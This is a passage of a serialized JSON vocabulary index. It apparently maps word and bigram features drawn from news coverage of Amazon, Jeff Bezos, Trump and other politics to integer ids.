216508,\n  \"commission alternatively\": 216509,\n  \"anti infanticide\": 216510,\n  \"miller influence\": 216511,\n  \"markets president\": 216512,\n  \"style stores\": 216513,\n  \"victory trump\": 216514,\n  \"politically attuned\": 216515,\n  \"294 shares\": 216516,\n  \"rules governing\": 216517,\n  \"niall\": 216518,\n  \"objection food\": 216519,\n  \"focus fuel\": 216520,\n  \"218\": 216521,\n  \"meantime bjp\": 216522,\n  \"slowing growth\": 216523,\n  \"travels exclusively\": 216524,\n  \"loses fortune\": 216525,\n  \"nickelsburg geekwire\": 216526,\n  \"winter olympics\": 216527,\n  \"overshadow turkey\": 216528,\n  \"amazon loses\": 216529,\n  \"governance structures\": 216530,\n  \"house counterfeit\": 216531,\n  \"oo3klbw362\": 216532,\n  \"personally sipped\": 216533,\n  \"verify amazon\": 216534,\n  \"enquirer backed\": 216535,\n  \"tough anti\": 216536,\n  \"dam imageserve\": 216537,\n  \"years buyer\": 216538,\n  \"paper called\": 216539,\n  \"obama book\": 216540,\n  \"allowed\": 216541,\n  \"eastern time\": 216542,\n  \"send partisan\": 216543,\n  \"amazon dependence\": 216544,\n  \"allegations bezos\": 216545,\n  \"secret negotiations\": 216546,\n  \"takes amazon\": 216547,\n  \"largest country\": 216548,\n  \"hoobraj\": 216549,\n  \"brexit draft\": 216550,\n  \"cecily\": 216551,\n  \"amazon plants\": 216552,\n  \"white soccer\": 216553,\n  \"law survey\": 216554,\n  \"background thinkrolls\": 216555,\n  \"fence thepentagon\": 216556,\n  \"454 5442\": 216557,\n  \"victory plan\": 216558,\n  \"representative bezos\": 216559,\n  \"trump baby\": 216560,\n  \"pumpkin weigh\": 216561,\n  \"content partner\": 216562,\n  \"birkenhead ii\": 216563,\n  \"659 000\": 216564,\n  \"mccabe pretends\": 216565,\n  \"breath andsay\": 216566,\n  \"simply purchasing\": 216567,\n  \"crowdsources projections\": 216568,\n  \"party definitely\": 216569,\n  \"constantly challenged\": 216570,\n  \"microsoft wrote\": 216571,\n  \"gives customers\": 216572,\n  \"terror outfit\": 216573,\n  \"shoppers doors\": 216574,\n  \"structure morgan\": 216575,\n  \"alliance partnership\": 216576,\n  \"open internet\": 216577,\n  \"executive wonders\": 216578,\n  \"investigate certain\": 216579,\n  \"trump bedminster\": 216580,\n  \"amazon assumed\": 216581,\n  \"bacon\": 216582,\n  \"stock investors\": 216583,\n  \"india biggest\": 216584,\n  \"possible sanders\": 216585,\n  \"local ownership\": 216586,\n  \"americans salesforce\": 216587,\n  \"warren ocasio\": 216588,\n  \"guy higher\": 216589,\n  \"business losing\": 216590,\n  \"reading resist\": 216591,\n  \"richest woman\": 216592,\n  \"housing politicians\": 216593,\n  \"drug alabama\": 216594,\n  \"instructs\": 216595,\n  \"especially given\": 216596,\n  \"shipstation shippingeasy\": 216597,\n  \"stocks rebounded\": 216598,\n  \"month low\": 216599,\n  \"hall hostility\": 216600,\n  \"shld\": 216601,\n  \"pay ratios\": 216602,\n  \"ask polly\": 216603,\n  \"river 2018\": 216604,\n  \"ward interviews\": 216605,\n  \"doesn watch\": 216606,\n  \"don want\": 216607,\n  \"facilitate ongoing\": 216608,\n  \"face recognition\": 216609,\n  \"motherboards apple\": 216610,\n  \"greatest city\": 216611,\n  \"readmit\": 216612,\n  \"kidding\": 216613,\n  \"carriers based\": 216614,\n  \"repeat sales\": 216615,\n  \"continued evaluating\": 216616,\n  \"biggest antitrust\": 216617,\n  \"containing goods\": 216618,\n  \"velociraptors\": 216619,\n  \"amazon rekogntion\": 216620,\n  \"rekindling\": 216621,\n  \"foreign policies\": 216622,\n  \"verification purposes\": 216623,\n  \"aping\": 216624,\n  \"nation according\": 216625,\n  \"point playing\": 216626,\n  \"provide incentive\": 216627,\n  \"nelson concede\": 216628,\n  \"previously calculated\": 216629,\n  \"needed new\": 216630,\n  \"hanlon\": 216631,\n  \"karine\": 216632,\n  \"tang zhenyi\": 216633,\n  \"controversies don\": 216634,\n  \"great reads\": 216635,\n  \"game click\": 216636,\n  \"city fiscal\": 216637,\n  \"platforms makes\": 216638,\n  \"450 226\": 216639,\n  \"times new\": 216640,\n  \"movie hits\": 216641,\n  \"despite credible\": 216642,\n  \"hook new\": 216643,\n  \"shirts dealing\": 216644,\n  \"wise thing\": 216645,\n  \"slavic\": 216646,\n  \"data severe\": 216647,\n  \"misunderstandings regarding\": 216648,\n  \"guns aimed\": 216649,\n  \"retaliatory measures\": 216650,\n  \"room bezos\": 216651,\n  \"public coffers\": 216652,\n  \"new depression\": 216653,\n  \"services orders\": 216654,\n  \"house lobbyists\": 216655,\n  \"pharmacies\": 216656,\n  \"limousine driver\": 216657,\n  \"regulatory licenses\": 216658,\n  \"clot\": 216659,\n  \"0712et\": 216660,\n  \"treaty withdrawn\": 216661,\n  \"packages weighing\": 216662,\n  \"commanding\": 216663,\n  \"public radio\": 216664,\n  \"choice cnn\": 216665,\n  \"team pursuit\": 216666,\n  \"sounds lead\": 216667,\n  \"fairfaxmedia\": 216668,\n  \"wrapping\": 216669,\n  \"mail ounce\": 216670,\n  \"trump hammered\": 216671,\n  \"regulators labor\": 216672,\n  \"rogers starbucks\": 216673,\n  \"cushion bezos\": 216674,\n  \"images various\": 216675,\n  \"called schwan\": 216676,\n  \"innocenzio sent\": 216677,\n  \"news emails\": 216678,\n  \"accouterments\": 216679,\n  \"help desperate\": 216680,\n  \"ownzones\": 216681,\n  \"soon really\": 216682,\n  \"reports despite\": 216683,\n  \"fall suggests\": 216684,\n  \"bipartisanship people\": 216685,\n  \"harmful rule\": 216686,\n  \"tax saving\": 216687,\n  \"letter urging\": 216688,\n  \"mark judge\": 216689,\n  \"company actions\": 216690,\n  \"know michael\": 216691,\n  \"time america\": 216692,\n  \"dismembered\": 216693,\n  \"twitter mark\": 216694,\n  \"insiders familiar\": 216695,\n  \"280mg\": 216696,\n  \"just add\": 216697,\n  \"know don\": 216698,\n  \"better known\": 216699,\n  \"neighbor does\": 216700,\n  \"strong online\": 216701,\n  \"marsha\": 216702,\n  \"bid billion\": 216703,\n  \"idea leonid\": 216704,\n  \"issues related\": 216705,\n  \"machine gunned\": 216706,\n  \"oatmeal\": 216707,\n  \"good newspaper\": 216708,\n  \"foremost purveyor\": 216709,\n  \"using government\": 216710,\n  \"constitute\": 216711,\n  \"travelpod game\": 216712,\n  \"service sales\": 216713,\n  \"overnight markets\": 216714,\n  \"goldrose\": 216715,\n  \"consultant report\": 216716,\n  \"amazon counterfeiters\": 216717,\n  \"tradecraft\": 216718,\n  \"trump leader\": 216719,\n  \"price dipped\": 216720,\n  \"forging modern\": 216721,\n  \"regulation means\": 216722,\n  \"childhood obesity\": 216723,\n  \"melina\": 216724,\n  \"live airs\": 216725,\n  \"florida photo\": 216726,\n  \"stories worth\": 216727,\n  \"influential newspaper\": 216728,\n  \"home appliances\": 216729,\n  \"university sanders\": 216730,\n  \"bezos bold\": 216731,\n  \"mcnamee stunning\": 216732,\n  \"tasteless\": 216733,\n  \"effectively\": 216734,\n  \"blu ray\": 216735,\n  \"brexit support\": 216736,\n  \"acne\": 216737,\n  \"mean daddy\": 216738,\n  \"telling brennan\": 216739,\n  \"newspaper articles\": 216740,\n  \"lennon\": 216741,\n  \"krasinski\": 216742,\n  \"banishing congressional\": 216743,\n  \"control trump\": 216744,\n  \"ami threat\": 216745,\n  \"trending news\": 216746,\n  \"newborn baby\": 216747,\n  \"811\": 216748,\n  \"caller trump\": 216749,\n  \"states accountable\": 216750,\n  \"alex\": 216751,\n  \"phillips democrats\": 216752,\n  \"team bezos\": 216753,\n  \"security world\": 216754,\n  \"rise mahaney\": 216755,\n  \"dockery\": 216756,\n  \"executive overseeing\": 216757,\n  \"threatening antitrust\": 216758,\n  \"amazon paying\": 216759,\n  \"stimulants\": 216760,\n  \"favale descriptionplaintext\": 216761,\n  \"union regulators\": 216762,\n  \"haitian aid\": 216763,\n  \"air centers\": 216764,\n  \"cb\": 216765,\n  \"inefficiencies\": 216766,\n  \"views amazon\": 216767,\n  \"labs ceo\": 216768,\n  \"democratic white\": 216769,\n  \"ft 100\": 216770,\n  \"included link\": 216771,\n  \"prevention leaked\": 216772,\n  \"jinping taps\": 216773,\n  \"preconceived notions\": 216774,\n  \"european usatoda\": 216775,\n  \"continued regulatory\": 216776,\n  \"summit treasonous\": 216777,\n  \"management personnel\": 216778,\n  \"fought merger\": 216779,\n  \"follow eileen\": 216780,\n  \"var containerclassid\": 216781,\n  \"poisoned\": 216782,\n  \"widespread corrosive\": 216783,\n  \"make partisan\": 216784,\n  \"current shareholder\": 216785,\n  \"sanity\": 216786,\n  \"force manufacturers\": 216787,\n  \"company publicly\": 216788,\n  \"media insiders\": 216789,\n  \"old chevron\": 216790,\n  \"owns 054\": 216791,\n  \"management plan\": 216792,\n  \"budget brian\": 216793,\n  \"45th annual\": 216794,\n  \"campaign worker\": 216795,\n  \"big winners\": 216796,\n  \"combat human\": 216797,\n  \"resilient\": 216798,\n  \"markskrikorian\": 216799,\n  \"million dc\": 216800,\n  \"bag faces\": 216801,\n  \"enquirer saved\": 216802,\n  \"otis\": 216803,\n  \"amazon sliding\": 216804,\n  \"giants\": 216805,\n  \"frank reports\": 216806,\n  \"years crc\": 216807,\n  \"energy ure\": 216808,\n  \"south sudan\": 216809,\n  \"adventure 7th\": 216810,\n  \"mini width\": 216811,\n  \"development appointee\": 216812,\n  \"hogarth focuses\": 216813,\n  \"discount plus\": 216814,\n  \"homes increased\": 216815,\n  \"change scott\": 216816,\n  \"retail presence\": 216817,\n  \"scandal adsbygoogle\": 216818,\n  \"gunmen\": 216819,\n  \"ugly head\": 216820,\n  \"ninemsn ibtimes\": 216821,\n  \"needed cites\": 216822,\n  \"probed zinke\": 216823,\n  \"neutrality 2018\": 216824,\n  \"explicit pictures\": 216825,\n  \"sketchy\": 216826,\n  \"married screenwriter\": 216827,\n  \"skilled technicians\": 216828,\n  \"seats amazon\": 216829,\n  \"plowshares robert\": 216830,\n  \"condones large\": 216831,\n  \"content sir\": 216832,\n  \"earnings preview\": 216833,\n  \"thanksgiving point\": 216834,\n  \"gamification granting\": 216835,\n  \"persuade congress\": 216836,\n  \"signing letter\": 216837,\n  \"intelligence entertainment\": 216838,\n  \"summer prime\": 216839,\n  \"rhc\": 216840,\n  \"finalizes religious\": 216841,\n  \"illusions work\": 216842,\n  \"reasonable doesn\": 216843,\n  \"duquesne university\": 216844,\n  \"highest level\": 216845,\n  \"later added\": 216846,\n  \"bezos began\": 216847,\n  \"blacklisted\": 216848,\n  \"major amazon\": 216849,\n  \"shares remain\": 216850,\n  \"lyophilized preparation\": 216851,\n  \"bullsh\": 216852,\n  \"assassinated\": 216853,\n  \"week explosive\": 216854,\n  \"300x200\": 216855,\n  \"committee nonprofit\": 216856,\n  \"lowest\": 216857,\n  \"yousay\": 216858,\n  \"noisy minorities\": 216859,\n  \"parcels sent\": 216860,\n  \"sounds generous\": 216861,\n  \"pathetic gold\": 216862,\n  \"leaders announced\": 216863,\n  \"vestager hopes\": 216864,\n  \"riddled\": 216865,\n  \"long faced\": 216866,\n  \"workplace complaints\": 216867,\n  \"politicos\": 216868,\n  \"countries bolduan\": 216869,\n  \"wyden ore\": 216870,\n  \"amazon goodthreads\": 216871,\n  \"sanders ver\": 216872,\n  \"physical environment\": 216873,\n  \"report aside\": 216874,\n  \"amazon 2018\": 216875,\n  \"action free\": 216876,\n  \"warehouse infrastructure\": 216877,\n  \"great businessman\": 216878,\n  \"answer flake\": 216879,\n  \"historic uptick\": 216880,\n  \"soon dating\": 216881,\n  \"smaller outfits\": 216882,\n  \"address counterfeiting\": 216883,\n  \"blood moon\": 216884,\n  \"relief plan\": 216885,\n  \"trillion market\": 216886,\n  \"free tuition\": 216887,\n  \"campaign aligning\": 216888,\n  \"sizzling\": 216889,\n  \"interceptors\": 216890,\n  \"overwhelmingly supported\": 216891,\n  \"0729et\": 216892,\n  \"jpm\": 216893,\n  \"nratv\": 216894,\n  \"freight hub\": 216895,\n  \"400 times\": 216896,\n  \"disturbs\": 216897,\n  \"paper best\": 216898,\n  \"story junckers\": 216899,\n  \"news publisher\": 216900,\n  \"insurance subsidiaries\": 216901,\n  \"delivery cost\": 216902,\n  \"ending massive\": 216903,\n  \"hirono hawaii\": 216904,\n  \"emotional needs\": 216905,\n  \"forsyth\": 216906,\n  \"original intent\": 216907,\n  \"ownership stakes\": 216908,\n  \"surigao del\": 216909,\n  \"city want\": 216910,\n  \"kids photo\": 216911,\n  \"microsoft management\": 216912,\n  \"earnings conference\": 216913,\n  \"critical 2020\": 216914,\n  \"kadetsky student\": 216915,\n  \"dellinger\": 216916,\n  \"mexican oxy\": 216917,\n  \"tight herera\": 216918,\n  \"legislators amazon\": 216919,\n  \"great guru\": 216920,\n  \"marry read\": 216921,\n  \"shauna goldengateblond\": 216922,\n  \"morons\": 216923,\n  \"legal precedents\": 216924,\n  \"reasonably competitive\": 216925,\n  \"drug makers\": 216926,\n  \"watchdogs\": 216927,\n  \"laurel healy\": 216928,\n  \"wage sandwiched\": 216929,\n  \"administrations aluminum\": 216930,\n  \"abc midterms\": 216931,\n  \"federal rate\": 216932,\n  \"elmo\": 216933,\n  \"meyer\": 216934,\n  \"heart\": 216935,\n  \"post rudy\": 216936,\n  \"acto amazon\": 216937,\n  \"important skills\": 216938,\n  \"minutes live\": 216939,\n  \"asia 2018\": 216940,\n  \"2018 comfort\": 216941,\n  \"attorney told\": 216942,\n  \"allow doctors\": 216943,\n  \"wegmann mean\": 216944,\n  \"300x200 getty_72664757_387844\": 216945,\n  \"male alabama\": 216946,\n  \"data exposed\": 216947,\n  \"report nonprofits\": 216948,\n  \"louisiana yes\": 216949,\n  \"surprising bushy\": 216950,\n  \"musk wondered\": 216951,\n  \"pill\": 216952,\n  \"sorry netflix\": 216953,\n  \"appointed senior\": 216954,\n  \"marry\": 216955,\n  \"government governance\": 216956,\n  \"dress\": 216957,\n  \"offering tax\": 216958,\n  \"567\": 216959,\n  \"raised monopoly\": 216960,\n  \"pro democratic\": 216961,\n  \"low margin\": 216962,\n  \"spend 100m\": 216963,\n  \"retail experiences\": 216964,\n  \"maddow shows\": 216965,\n  \"brazil desires\": 216966,\n  \"\\u01424\": 216967,\n  \"president recent\": 216968,\n  \"million domestic\": 216969,\n  \"taped meetings\": 216970,\n  \"george soros\": 216971,\n  \"zinke economy\": 216972,\n  \"rate mortgage\": 216973,\n  \"newark offered\": 216974,\n  \"official long\": 216975,\n  \"clip commercial\": 216976,\n  \"classified machine\": 216977,\n  \"soybean\": 216978,\n  \"crisis thatis\": 216979,\n  \"fallon kimmel\": 216980,\n  \"year preaching\": 216981,\n  \"0001 delivery\": 216982,\n  \"smartest modern\": 216983,\n  \"currently worth\": 216984,\n  \"local deals\": 216985,\n  \"xfcuvm1u4s source\": 216986,\n  \"great hotels\": 216987,\n  \"stringing\": 216988,\n  \"taxation betras\": 216989,\n  \"mammoth internet\": 216990,\n  \"olympics showing\": 216991,\n  \"brown shoe\": 216992,\n  \"prlog sockslane\": 216993,\n  \"suicide prevention\": 216994,\n  \"improper influencing\": 216995,\n  \"heid erdrich\": 216996,\n  \"ballantine books\": 216997,\n  \"throwback\": 216998,\n  \"accounts aswould\": 216999,\n  \"options right\": 217000,\n  \"tribune merger\": 217001,\n  \"dollar tax\": 217002,\n  \"pose fundamental\": 217003,\n  \"seeing prime\": 217004,\n  \"chips additionally\": 217005,\n  \"yuge sums\": 217006,\n  \"cohn announced\": 217007,\n  \"summit michael\": 217008,\n  \"east silver\": 217009,\n  \"significant health\": 217010,\n  \"bermuda company\": 217011,\n  \"sullivan executive\": 217012,\n  \"authorities say\": 217013,\n  \"consensual sex\": 217014,\n  \"ray dalio\": 217015,\n  \"nationwide enquirer\": 217016,\n  \"political clashes\": 217017,\n  \"views low\": 217018,\n  \"unnamed official\": 217019,\n  \"don swim\": 217020,\n  \"fall brings\": 217021,\n  \"box cramer\": 217022,\n  \"imagine british\": 217023,\n  \"ministry statement\": 217024,\n  \"john della\": 217025,\n  \"hiring season\": 217026,\n  \"t000047682\": 217027,\n  \"story snap\": 217028,\n  \"written noir\": 217029,\n  \"profile newcomers\": 217030,\n  \"ubhi worked\": 217031,\n  \"ky\": 217032,\n  \"embraces dictators\": 217033,\n  \"surtax wouldn\": 217034,\n  \"dislikes personally\": 217035,\n  \"margin amazon\": 217036,\n  \"deasy authority\": 217037,\n  \"future husband\": 217038,\n  \"economic sense\": 217039,\n  \"tick tock\": 217040,\n  \"greater benefit\": 217041,\n  \"ftc began\": 217042,\n  \"biggest advantage\": 217043,\n  \"different subjects\": 217044,\n  \"products purchased\": 217045,\n  \"companies ice\": 217046,\n  \"goods reaching\": 217047,\n  \"dictatorship bolsonaro\": 217048,\n  \"argued publicly\": 217049,\n  \"jeff daniels\": 217050,\n  \"linked property\": 217051,\n  \"democrats turned\": 217052,\n  \"issues china\": 217053,\n  \"night talk\": 217054,\n  \"considered unacceptable\": 217055,\n  \"apparent dislike\": 217056,\n  \"folks\": 217057,\n  \"devin mcrae\": 217058,\n  \"ray lahood\": 217059,\n  \"2016\": 217060,\n  \"possible new\": 217061,\n  \"right inked\": 217062,\n  \"friendly chips\": 217063,\n  \"official protest\": 217064,\n  \"grounded writes\": 217065,\n  \"service pricing\": 217066,\n  \"coverage north\": 217067,\n  \"techno marketing\": 217068,\n  \"rapper life\": 217069,\n  \"republicans asked\": 217070,\n  \"needed items\": 217071,\n  \"ordering\": 217072,\n  \"dragon tattoo\": 217073,\n  \"orders shipping\": 217074,\n  \"light companies\": 217075,\n  \"arrangement unaffiliated\": 217076,\n  \"claw\": 217077,\n  \"complete nonsense\": 217078,\n  \"sympathise\": 217079,\n  \"review act\": 217080,\n  \"dp b06xh7krkl\": 217081,\n  \"appeal president\": 217082,\n  \"rhc brazilian\": 217083,\n  \"global warming\": 217084,\n  \"issa\": 217085,\n  \"cutting moves\": 217086,\n  \"political attack\": 217087,\n  \"direct service\": 217088,\n  \"owner prostitution\": 217089,\n  \"000 median\": 217090,\n  \"maine joined\": 217091,\n  \"eye exasperating\": 217092,\n  \"think\": 217093,\n  \"1040253796293795842\": 217094,\n  \"frequently attacked\": 217095,\n  \"tech meltdown\": 217096,\n  \"devos\": 217097,\n  \"house despite\": 217098,\n  \"actress ruby\": 217099,\n  \"photos showing\": 217100,\n  \"gmt foxconn\": 217101,\n  \"picks according\": 217102,\n  \"trumpian populist\": 217103,\n  \"clinton trump\": 217104,\n  \"philosophy politics\": 217105,\n  \"allows 401k\": 217106,\n  \"factory president\": 217107,\n  \"copper prices\": 217108,\n  \"gruesome murder\": 217109,\n  \"shirt looked\": 217110,\n  \"reasons startups\": 217111,\n  \"bus service\": 217112,\n  \"monopoly source\": 217113,\n  \"jackass\": 217114,\n  \"anonymous faces\": 217115,\n  \"home football\": 217116,\n  \"bezos clout\": 217117,\n  \"hateful propaganda\": 217118,\n  \"case gives\": 217119,\n  \"called trade\": 217120,\n  \"usps pomp\": 217121,\n  \"gustavo\": 217122,\n  \"forbes cited\": 217123,\n  \"keoshkerian\": 217124,\n  \"gou foxconn\": 217125,\n  \"house photograph\": 217126,\n  \"usps prices\": 217127,\n  \"pro vaccine\": 217128,\n  \"promising new\": 217129,\n  \"things jeff\": 217130,\n  \"73bn\": 217131,\n  \"city elementary\": 217132,\n  \"lowry\": 217133,\n  \"chairs\": 217134,\n  \"telecom\": 217135,\n  \"mystery thriller\": 217136,\n  \"korea putin\": 217137,\n  \"possible ocasio\": 217138,\n  \"post breakup\": 217139,\n  \"navy times\": 217140,\n  \"mccabe explosive\": 217141,\n  \"merely delivering\": 217142,\n  \"bad bet\": 217143,\n  \"post combining\": 217144,\n  \"city borough\": 217145,\n  \"spotlight jeff\": 217146,\n  \"l2 l2\": 217147,\n  \"topic sanders\": 217148,\n  \"post newsprint\": 217149,\n  \"far better\": 217150,\n  \"proposed amazon\": 217151,\n  \"ansel teaches\": 217152,\n  \"exotic destinations\": 217153,\n  \"diadiun\": 217154,\n  \"hotel hiding\": 217155,\n  \"leaning owner\": 217156,\n  \"span interview\": 217157,\n  \"proposal titled\": 217158,\n  \"voat\": 217159,\n  \"trump attack\": 217160,\n  \"casual way\": 217161,\n  \"otcqx\": 217162,\n  \"issue crucial\": 217163,\n  \"annual expenditures\": 217164,\n  \"selves\": 217165,\n  \"personalised\": 217166,\n  \"law means\": 217167,\n  \"post makes\": 217168,\n  \"cloudtail india\": 217169,\n  \"secrets read\": 217170,\n  \"fishin\": 217171,\n  \"york economic\": 217172,\n  \"direction essentially\": 217173,\n  \"segel\": 217174,\n  \"chaya bhuvaneswar\": 217175,\n  \"transactional revenues\": 217176,\n  \"fisa warrant\": 217177,\n  \"twitter jess_aloe\": 217178,\n  \"espresso\": 217179,\n  \"parcel force\": 217180,\n  \"promises push\": 217181,\n  \"legislation 1801\": 217182,\n  \"months leading\": 217183,\n  \"kisela\": 217184,\n  \"unpatriotic\": 217185,\n  \"american government\": 217186,\n  \"driver wife\": 217187,\n  \"expected publication\": 217188,\n  \"broadcast print\": 217189,\n  \"bullet proof\": 217190,\n  \"1990s microsoft\": 217191,\n  \"floods create\": 217192,\n  \"haverford trust\": 217193,\n  \"millionaire republicans\": 217194,\n  \"tropical rainforest\": 217195,\n  \"original recommendation\": 217196,\n  \"requiring service\": 217197,\n  \"big border\": 217198,\n  \"egoacid\": 217199,\n  \"obligatory\": 217200,\n  \"new ways\": 217201,\n  \"687 447\": 217202,\n  \"encana\": 217203,\n  \"macculloch viking\": 217204,\n  \"steeper budget\": 217205,\n  \"maga set\": 217206,\n  \"teamsters joint\": 217207,\n  \"subsidies protectionism\": 217208,\n  \"fires special\": 217209,\n  \"robert kuttner\": 217210,\n  \"worth adding\": 217211,\n  \"immigration reform\": 217212,\n  \"classic miranda\": 217213,\n  \"details coming\": 217214,\n  \"dethroned\": 217215,\n  \"proper response\": 217216,\n  \"000 income\": 217217,\n  \"kristin cavallari\": 217218,\n  \"doug\": 217219,\n  \"federal times\": 217220,\n  \"massage\": 217221,\n  \"urged amazon\": 217222,\n  \"complaint specifically\": 217223,\n  \"wreckage\": 217224,\n  \"protested earlier\": 217225,\n  \"die places\": 217226,\n  \"sanchez landed\": 217227,\n  \"pressure china\": 217228,\n  \"challenging old\": 217229,\n  \"tabloids ami\": 217230,\n  \"initially limited\": 217231,\n  \"port city\": 217232,\n  \"state senate\": 217233,\n  \"facts sinclair\": 217234,\n  \"amid steady\": 217235,\n  \"mark independence\": 217236,\n  \"seize control\": 217237,\n  \"killer trump\": 217238,\n  \"reflections\": 217239,\n  \"tweet referenced\": 217240,\n  \"major bank\": 217241,\n  \"laura cassidy\": 217242,\n  \"partly lobbying\": 217243,\n  \"weisberger\": 217244,\n  \"kit form\": 217245,\n  \"jake coyle\": 217246,\n  \"legislatively mandated\": 217247,\n  \"crawdads sing\": 217248,\n  \"showcased recently\": 217249,\n  \"senatemajldr\": 217250,\n  \"texan\": 217251,\n  \"visas makes\": 217252,\n  \"contributed billion\": 217253,\n  \"tonight appreciate\": 217254,\n  \"general price\": 217255,\n  \"congrats\": 217256,\n  \"kristina peterson\": 217257,\n  \"things learned\": 217258,\n  \"published report\": 217259,\n  \"memory kids\": 217260,\n  \"designation trump\": 217261,\n  \"peele joked\": 217262,\n  \"attorney abramowitz\": 217263,\n  \"obsessive aggressive\": 217264,\n  \"insurance plan\": 217265,\n  \"salem nc\": 217266,\n  \"fleming\": 217267,\n  \"earners leaving\": 217268,\n  \"mindset\": 217269,\n  \"active residents\": 217270,\n  \"ramps\": 217271,\n  \"going wild\": 217272,\n  \"amar\": 217273,\n  \"small packages\": 217274,\n  \"seth blanchard\": 217275,\n  \"global royalty\": 217276,\n  \"told similar\": 217277,\n  \"commerce games\": 217278,\n  \"web according\": 217279,\n  \"vote jeff\": 217280,\n  \"identical products\": 217281,\n  \"amazon lack\": 217282,\n  \"merch\": 217283,\n  \"press gaggle\": 217284,\n  \"outwardly cordial\": 217285,\n  \"adding senddonaldtospace\": 217286,\n  \"code 2017\": 217287,\n  \"endangered species\": 217288,\n  \"morning instead\": 217289,\n  \"justice correspondent\": 217290,\n  \"guesswork badly\": 217291,\n  \"spoiled\": 217292,\n  \"assault receive\": 217293,\n  \"news corruption\": 217294,\n  \"ice ice\": 217295,\n  \"shareholder services\": 217296,\n  \"consequently\": 217297,\n  \"economic powerhouse\": 217298,\n  \"developing partner\": 217299,\n  \"dell nasdaq\": 217300,\n  \"fiat\": 217301,\n  \"tommy tomlinson\": 217302,\n  \"professor carl\": 217303,\n  \"relevance correctness\": 217304,\n  \"2016 irs\": 217305,\n  \"anderson ap\": 217306,\n  \"effectively forcing\": 217307,\n  \"hilary weaver\": 217308,\n  \"hit netflix\": 217309,\n  \"maiden flight\": 217310,\n  \"trump spokeswoman\": 217311,\n  \"shift amazon\": 217312,\n  \"acquirers\": 217313,\n  \"gauteng ap\": 217314,\n  \"liverpool\": 217315,\n  \"companies mahaney\": 217316,\n  \"smith wrote\": 217317,\n  \"local options\": 217318,\n  \"apple dropped\": 217319,\n  \"just shows\": 217320,\n  \"online earlier\": 217321,\n  \"maxgarlandtypes read\": 217322,\n  \"container utm_content\": 217323,\n  \"trump penchant\": 217324,\n  \"trump melania\": 217325,\n  \"somewhat changed\": 217326,\n  \"eqis capital\": 217327,\n  \"potential tailwind\": 217328,\n  \"blood grew\": 217329,\n  \"goodman ext\": 217330,\n  \"accompanying business\": 217331,\n  \"antichrist\": 217332,\n  \"trump probes\": 217333,\n  \"retiring\": 217334,\n  \"fair treatment\": 217335,\n  \"clinton deep\": 217336,\n  \"nokia plus\": 217337,\n  \"reunites\": 217338,\n  \"included comments\": 217339,\n  \"deal unveiled\": 217340,\n  \"ap amazon\": 217341,\n  \"important points\": 217342,\n  \"architectures\": 217343,\n  \"trump confirms\": 217344,\n  \"avg\": 217345,\n  \"walmart costco\": 217346,\n  \"stations according\": 217347,\n  \"reportedly obtained\": 217348,\n  \"recommended starring\": 217349,\n  \"athletic shorts\": 217350,\n  \"cloud vendors\": 217351,\n  \"heavier adding\": 217352,\n  \"gop chairman\": 217353,\n  \"collab\": 217354,\n  \"asia overnight\": 217355,\n  \"mainly served\": 217356,\n  \"supplement amazon\": 217357,\n  \"company second\": 217358,\n  \"fast company\": 217359,\n  \"fascinating matt\": 217360,\n  \"publish highly\": 217361,\n  \"religious messages\": 217362,\n  \"tumultuous midterms\": 217363,\n  \"online transactions\": 217364,\n  \"denali franklin\": 217365,\n  \"places president\": 217366,\n  \"management nv\": 217367,\n  \"totally fake\": 217368,\n  \"tiles\": 217369,\n  \"investment apple\": 217370,\n  \"bezos protected\": 217371,\n  \"cnis7mbbwv mijente\": 217372,\n  \"overseas mailing\": 217373,\n  \"dax index\": 217374,\n  \"prominent executives\": 217375,\n  \"ignore younger\": 217376,\n  \"ta\": 217377,\n  \"montana oregon\": 217378,\n  \"bezos speaks\": 217379,\n  \"getting jobs\": 217380,\n  \"concentration camp\": 217381,\n  \"mal nashville\": 217382,\n  \"final report\": 217383,\n  \"investment statement\": 217384,\n  \"watch online\": 217385,\n  \"face difficulty\": 217386,\n  \"outcome share\": 217387,\n  \"european pressphoto\": 217388,\n  \"leguizamo traces\": 217389,\n  \"waving flag\": 217390,\n  \"board finally\": 217391,\n  \"niharika\": 217392,\n  \"listened\": 217393,\n  \"prove accurate\": 217394,\n  \"rolling\": 217395,\n  \"shawn rusterholz\": 217396,\n  \"africa globenewswire\": 217397,\n  \"brazilian quilombola\": 217398,\n  \"user blockchain\": 217399,\n  \"therapeutics\": 217400,\n  \"trump touches\": 217401,\n  \"sellers program\": 217402,\n  \"grade golden\": 217403,\n  \"energy transfer\": 217404,\n  \"afternoon business\": 217405,\n  \"vertically launched\": 217406,\n  \"retain party\": 217407,\n  \"selling point\": 217408,\n  \"betting ramps\": 217409,\n  \"bezos overly\": 217410,\n  \"current problems\": 217411,\n  \"surveillance risk\": 217412,\n  \"seasonal workers\": 217413,\n  \"conduit\": 217414,\n  \"zwszijs781\": 217415,\n  \"handle political\": 217416,\n  \"exploited\": 217417,\n  \"home assistant\": 217418,\n  \"discuss potential\": 217419,\n  \"brand experience\": 217420,\n  \"sql server\": 217421,\n  \"punitively\": 217422,\n  \"slime\": 217423,\n  \"early site\": 217424,\n  \"king exlarge\": 217425,\n  \"counterfeiting initiative\": 217426,\n  \"grids slide\": 217427,\n  \"919\": 217428,\n  \"labelled sugar\": 217429,\n  \"chicago\": 217430,\n  \"tell investors\": 217431,\n  \"tyldum helmed\": 217432,\n  \"depending\": 217433,\n  \"profile warren\": 217434,\n  \"free reed\": 217435,\n  \"inspired residents\": 217436,\n  \"building trust\": 217437,\n  \"feels strong\": 217438,\n  \"bespoke crew\": 217439,\n  \"counties needed\": 217440,\n  \"soldiers transition\": 217441,\n  \"company maintains\": 217442,\n  \"soehl\": 217443,\n  \"recent film\": 217444,\n  \"level follow\": 217445,\n  \"additionally managed\": 217446,\n  \"won trade\": 217447,\n  \"fund offers\": 217448,\n  \"president bolsonaro\": 217449,\n  \"near amazon\": 217450,\n  \"financing plan\": 217451,\n  \"ktrh\": 217452,\n  \"online 100\": 217453,\n  \"county commission\": 217454,\n  \"000 million\": 217455,\n  \"budgets including\": 217456,\n  \"led consumers\": 217457,\n  \"shut brazil\": 217458,\n  \"aliexpress asos\": 217459,\n  \"ad narrated\": 217460,\n  \"business olsavsky\": 217461,\n  \"midterm losses\": 217462,\n  \"workloads gales\": 217463,\n  \"partner making\": 217464,\n  \"sorted packets\": 217465,\n  \"secretly listening\": 217466,\n  \"enjoy amazon\": 217467,\n  \"biggest change\": 217468,\n  \"challenge\": 217469,\n  \"glorified real\": 217470,\n  \"clive james\": 217471,\n  \"ferrari recently\": 217472,\n  \"richer 